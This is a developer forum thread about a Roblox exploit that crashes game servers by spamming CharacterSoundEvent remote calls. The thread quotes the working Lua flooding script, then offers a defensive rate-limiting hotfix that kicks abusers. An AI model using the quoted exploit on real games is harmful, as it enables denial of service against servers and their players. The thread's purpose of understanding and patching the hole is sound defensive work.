Investigating. Will fix it soon.
They’re now using this similar exploit to crash servers - it seems to work in games which sound respects filtering enabled as well as having that disabled.
Code
game:GetService’RunService’.Stepped:Connect(function()
pcall(function()
for i,v in pairs(game:GetService’Players’:GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild’Head’ then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA’Sound’ then x.Playing = true x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)
What they’re ultimately doing is spamming the server with requests to replicate character sounds.
For the time being, this Script could possibly be used in StarterCharacterScripts, as it seems really unlikely that any player would send requests to turn on sounds at a high rate.
-- Edit these to throttle the amount of events fired to a given sound RemoteEvent.
local LIMIT = 10
local DURATION = 1.5
-- Implementation
local char = script.Parent
local head = char:WaitForChild("Head")
local player = game:GetService("Players"):GetPlayerFromCharacter(char)
local counter = 0
local function soundEventFired(sender)
if sender ~= player then
sender:Kick("Nice try.")
else
counter = counter + 1
if counter > LIMIT then
sender:Kick("Nice try.")
end
wait(DURATION)
counter = counter - 1
end
end
local function soundAdded(obj)
if obj:IsA("Sound") then
obj:WaitForChild("CharacterSoundEvent").OnServerEvent:Connect(soundEventFired)
end
end
head.DescendantAdded:Connect(soundAdded)
for _, obj in next, head:GetDescendants() do
soundAdded(obj)
end
But definitely, it is an issue that should be handled for all games, and not just as the above hotfix.
Yeah,
as the game I work on doesn’t really benefit in any way from character sounds, I just went ahead and disabled the event all together, but I know some games can really benefit from these character sounds.
This topic was automatically closed 14 days after the last reply. New replies are no longer allowed.